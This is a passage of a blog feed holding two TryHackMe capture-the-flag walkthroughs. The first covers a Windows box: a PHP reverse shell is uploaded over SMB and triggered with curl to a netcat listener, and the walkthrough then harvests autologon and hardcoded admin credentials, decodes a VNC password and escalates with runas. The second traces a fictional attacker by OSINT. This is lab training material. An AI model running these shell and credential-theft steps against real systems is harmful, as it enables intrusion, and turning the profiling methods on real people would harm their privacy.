src="https://cdn-images-1.medium.com/max/1024/1*AIv5xMfj9-wzSOMMjKc0Jg.png" /></figure><p>Q: What is the hidden share where images should be copied to?</p><blockquote>A: images$</blockquote><pre>smbclient -L 10.10.104.217</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHwb3XRFMWssXbfrTCBJAw.png" /></figure><p><strong>Task 2: Foothold</strong></p><p>Gain a foothold on the box using what you found through enumeration.</p><p>After an initial struggle of using the stock /usr/share/webshells/php/php-reverse-shell.php I realized that this was running a bash shell and we needed something that would run against a windows system.</p><p>A quick <a href="https://www.google.com/search?q=windows+php+reverse+shell">search</a> will show that we have some options available. The shell below from ivan-sincek will detect the host as linux or windows and send the correct shell back to us.</p><p><a href="https://github.com/ivan-sincek/php-reverse-shell">GitHub - ivan-sincek/php-reverse-shell: PHP shells that work on Linux OS, macOS, and Windows OS.</a></p><p>First we need to clone the repository and update the ip address to point to our attack machine.</p><pre>git clone <a href="https://github.com/ivan-sincek/php-reverse-shell">https://github.com/ivan-sincek/php-reverse-shell</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vmsU-eeUBdGsbGhssLPRg.png" /><figcaption>Edit php-reverse-shell.php</figcaption></figure><p>With the shell updated we now need to upload the file to the server using smbclient, since I am lazy I will normally rename it to shell.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETmIIqcOnuO12sjiZ48XUA.png" /></figure><p>Reviewing the website we can see that it is loading the images from a /images/ directory so we should be able to trigger our shell.php via a curl request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjpU5Mn4V5KpYxH_xlYrYA.png" /></figure><p>Now we start our netcat listener with nc -lnvp 9000 and then execute the shell via a curl request curl http://ipaddress/images/shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mm8Odh-9DJAxcDZzhArnkA.png" /><figcaption>initial shell</figcaption></figure><p>Q: What user is signed into the console session?</p><blockquote>A: Can be provided by running quser on the shell</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xlSKaMEtfeW-UD5Sog6U3w.png" /></figure><p>Q: What hidden, non-standard share is only remotely accessible as an administrative account?</p><blockquote>A: installs$</blockquote><p>This was also found previously with our smbclient -L ip.address command, but since we have a shell we can also run a net share to see what the path is also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1i9JmEICqxHVEfvXzBHWcg.png" /><figcaption>net share command</figcaption></figure><p>Q: What is the contents of the user_flag.txt?</p><blockquote>A: provided below</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lTUTg526sSMo3XMqeKw6w.png" /></figure><p><strong>Task 3: Pwnage</strong></p><p>Q: What is the users password? <em>Hint: The user is automatically logged into the computer.</em></p><blockquote>A: steps provided below</blockquote><p>Since the hint says that the user is automatically logged on the username and password are stored in the registry. A quick online search will provide you with the required registry key below.</p><p>reg query “HKLM\SOFTWARE\microsoft\windows nt\currentversion\winlogon”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lADkYHP2NVer2Hh3T5t5hg.png" /></figure><p>Q: What is the Administrators Password? <em>Hint: Well there wasn’t a hint but we know there is a </em><em>installs$ share that is located at </em><em>c:\installs</em>.</p><blockquote>A: steps provided below</blockquote><p>Once in the c:\installs directory you can type get-content Install_www_and_deploy.bat to reveal hard coded Administrator credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJqzL6EAhS0-4OBrzsG6ug.png" /><figcaption>Install_www_and_deploy.bat</figcaption></figure><p>Q: What executable is used to run the installer with the Administrator username and password?</p><blockquote>A: This is also in the same batch file from above.</blockquote><p>Q: What is the VNC Password?</p><blockquote>A: this is also provided in ultravnc.ini but must be decoded… see below</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*Va76c86bXg2jxC0cxpFUcA.png" /></figure><p>I was unable to get this “password” to work so I looked at the hint and it provides a <a href="http://aluigi.altervista.org/pwdrec.htm">link</a> to some password decoding tools. Specificially the <a href="http://aluigi.altervista.org/pwdrec/vncpwd.zip">*VNC password decoder 0.2.1</a>. Since I didn’t have a windows box handy, I just uploaded vncpwd.exe to the victim machine using smbclient and executed with the ultravnc.ini file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FT-pRqhnSvPJ2y4cSVdijQ.png" /></figure><p>Q: What is the contents of the admin_flag.txt?</p><blockquote>A: see the steps below</blockquote><p>I struggled trying to elevate with psexec.exe and connecting with psexec.py from Impacket, so ultimately I gave up on the command line and went with rdesktop /u:administrator /p:thepass... and failed there too, ugg!</p><p>The system was too slow and failed… #tryharder</p><p>This next solution is a very low tech approach to the problem.</p><p>I connected via vnc using xvncviewer, I lowered the quality because of the performance issues I had in the past. Though I don’t believe this helped at all as the performance issue was on the windows machine…</p><pre>xvncviewer -QualityLevel 2 ip.address</pre><ul><li>Step 1: double click on the user_flag.txt</li><li>Step 2: Change the contents of the user_flag.txt file to be runas /user:administrator cmd.exe</li><li>Step 3: Save the file as pwn2.bat, my first attempt at a powershell escalation didn’t work quite so well.</li><li>Step 4: double click the pwn2.bat and paste in the admin password. #profit!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBnSQ79HCAm3U1hP0XsdcQ.png" /><figcaption>pwnage</figcaption></figure><p>Thank you to <a href="https://tryhackme.com/p/apjone">apjone</a> for a fun room. I struggled at the end to find a usable solution, but I think that’s what makes for a fun room! #greatjob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*P6HyUs5-NaiY2MLOwAhDGQ.png" /><figcaption>complete</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=581f6ac4a7e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Sakura Room]]></title>
            <link>https://octothorp88.medium.com/tryhackme-sakura-room-97ac5bb887b3?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/97ac5bb887b3</guid>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Mon, 12 Apr 2021 06:21:24 GMT</pubDate>
            <atom:updated>2021-04-12T06:39:57.098Z</atom:updated>
            <content:encoded><![CDATA[<p>A room named <a href="https://tryhackme.com/room/sakura">Sakura Room</a> at <a href="https://tryhackme.com/">TryHackMe</a> to learn and play with Open Source Intelligence techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/0*NBUZF3akbCLQ769p" /><figcaption>OSINT DOJO</figcaption></figure><p><strong>Task 1: INTRODUCTION</strong></p><p>Q: Are you ready?</p><blockquote>A: Let’s Go!</blockquote><p><strong>Task 2 : TIP-OFF</strong></p><p>After the introduction you are told that the OSINT Dojo recently found themselves victim to a cyber attack with very little indicators of compromise left on the system and want you to take a look at what they have to see if you can determine who the attackers were.</p><p>A image file that was left from the attacker has been provided to you and is available <a href="https://raw.githubusercontent.com/OsintDojo/OsintDojo.github.io/d846483eb41dd4fdb6d00ac84ecdb4a66be6a191/TryHackMe/Sakura/sakurapwnedletter.svg">here</a>.</p><p>Q: What username does the attacker go by?</p><blockquote>A: provided from exifdata from image (steps provided below).</blockquote><pre>wget <a href="https://raw.githubusercontent.com/OsintDojo/OsintDojo.github.io/d846483eb41dd4fdb6d00ac84ecdb4a66be6a191/TryHackMe/Sakura/sakurapwnedletter.svg">https://raw.githubusercontent.com/OsintDojo/OsintDojo.github.io/d846483eb41dd4fdb6d00ac84ecdb4a66be6a191/TryHackMe/Sakura/sakurapwnedletter.sv</a></pre><pre>exiftool sakurapwnedletter.svg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2znq3G76VLC0cNaBZgqUA.png" /><figcaption>exiftool on sakurapwnedletter.svg</figcaption></figure><p><strong>Task 3: RECONNAISSANCE</strong></p><p>Q: What is the full email address used by the attacker?</p><blockquote>A: Searching the username and finding a pgp public key provided the email (steps provided below)</blockquote><p>A search engine provided a quick hit on a business based social media site but did not show any usable email address.</p><p>Using the username identified from the previous question I started to do some looking on a few sites to see where that username was being used. A quick search on <a href="https://namechk.com/">namechk</a> showed multiple sites where the username was being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhxXnhMAw4bxlTy6dDfJ2Q.png" /><figcaption>namechk.com</figcaption></figure><p>The username is being used at github and would probably have the highest possibility of containing an email in a config file or some other user generated content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23ChcnNEjFUN0qycxtqNmQ.png" /></figure><p>The PGP public key would have the attackers email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*682ssjAFoTUwRgHA40w_bw.png" /><figcaption>pgp public key</figcaption></figure><p>Q: What is the attacker&#39;s full real name?</p><blockquote>A: The users full name was found in the first search from the response provided by the business based social media site. (steps provided below)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGI371BHGOV4qdsKdPzbZg.png" /><figcaption>linkedIn Response</figcaption></figure><p><strong>Task 4: UNVEIL</strong></p><p>We are now informed that the attackers are on to us and now editing and deleting information to cover their tracks online.</p><p>Q: What cryptocurrency does the attacker own a cryptocurrency wallet for?</p><blockquote>A: This answer was found browsing all of his repositories.</blockquote><blockquote>Ultimately a guess based off the names of the crypto repositories</blockquote><p>Q: What is the attacker’s cryptocurrency wallet address</p><blockquote>A: solution provided in steps below</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jB8K9liVgr3nS3SA1dl2PQ.png" /></figure><p>By clicking on the “2 commits” you can view the individual edits of the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sT5VMsYCLe2nFKhQ8mTN4A.png" /></figure><p>Clicking on the lower of the two files you will be able to see the contents of the original file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epIms_k8l3m2tk8Ubc_pUw.png" /></figure><p>Q:What mining pool did the attacker receive payments from on January 23, 2021 UTC?</p><blockquote>A: Ethermine</blockquote><p>With the wallet address you are able to go the <a href="https://etherscan.io/">etherscan.io</a> and look up all the transactions for the wallet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ngx4TXHH4RfWmJ2TmhXhvA.png" /><figcaption>etherscan.io</figcaption></figure><p>Q: What other cryptocurrency did the attacker exchange with using their cryptocurrency wallet?</p><blockquote>A: Following the transactions in the wallet using <a href="https://etherscan.io/">etherscan</a> at the bottom of the page you will find the answer</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XXSvk3HmOt9T5RgEXou_bA.png" /><figcaption>etherscan.io wallet transactions</figcaption></figure><p><strong>Task 5: TAUNT</strong></p><p>We find out that the attacker is aware we are tracking them down and they provide a taunting twitter message below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/0*GBeqbJxo9eKLMnMr.png" /><figcaption>twitter taunt</figcaption></figure><p>Q: What is the attacker&#39;s current Twitter handle?</p><p>A: @SakuraLoverAiko</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uTWiU9pruIR69ecFPO82JQ.png" /></figure><p>Q: What is the URL for the location where the attacker saved their WiFi SSIDs and passwords?</p><blockquote>A: The Dark Web site for this answer may go up and down for hours at a time. If the website has been down for multiple days, or if you do not feel comfortable searching the Dark Web, you can view this screenshot to help complete the tasks in this section: <a href="https://ibb.co/1rHfgVb">https://ibb.co/1rHfgVb</a> ← this helped a great deal.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MfH7quf6eahag0kxN1S12A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uCAtwTaiznAT5BwAYLSAw.png" /></figure><p><strong>Task 6: HOMEBOUND</strong></p><p>Q:What airport is closest to the location the attacker shared a photo from prior to getting on their flight?</p><blockquote>A: DCA (See below for walkthrough)</blockquote><p>After some initial struggles and some deep breathing exercises I looked closer at the images and saw something familiar to search for and realized the picture was in Washington D.C.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rYazOgJQFCcBb6bt1x2FyA.png" /></figure><p>Q: What airport did the attacker have their last layover in?</p><blockquote>A: HND</blockquote><p>The image of the twitter account showed the <strong>Sakura Lounge </strong>from JAL on skytrax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1-PY1zuq1QX6bI6OE5BLIg.png" /><figcaption>Twitter picture of lounge</figcaption></figure><p>A quick internet search of JAL Sakura Lounge provided results with a airport name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFcwK3_syvr0rHjUAOKLEw.png" /></figure><p>With the Haneda airport name you can obtain the airport code from <a href="https://en.wikipedia.org/wiki/List_of_airports_in_Japan">Wikipedia</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQgOH_cFnmS7_TTJYhhQ_w.png" /></figure><p>Q: What lake can be seen in the map shared by the attacker as they were on their final flight home?</p><blockquote>A: Lake Inawashiro</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yas3looXgUfGOyGrQxmMoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXeep6E9-sDs_z-9E4o9qg.png" /><figcaption>Google maps of Lake Inawashiro</figcaption></figure><p>Q: What city does the attacker likely consider “home”?</p><blockquote>A: Hirosaki</blockquote><p>Looking back at the previous information we obtained from the wifi information we know the geographic location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uCAtwTaiznAT5BwAYLSAw.png" /></figure><p>Cross referencing it with an online map we can see the city is Hirosaki.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fr6s61JiU3U4DEGHuxZbUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*dcAe7-S1e8PsbA0GrcjsTA.png" /></figure><p>Thank you to <a href="https://tryhackme.com/p/OSINTDojo">OSINTDojo</a> for such a great room! I learned a lot and had a lot of fun researching and learning new techniques to perform OSINT techniques. #greatjob</p><p><a href="https://tryhackme.com/p/OSINTDojo">[OSINTDojo</a> on <a href="https://tryhackme.com/">TryHackMe</a>]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97ac5bb887b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>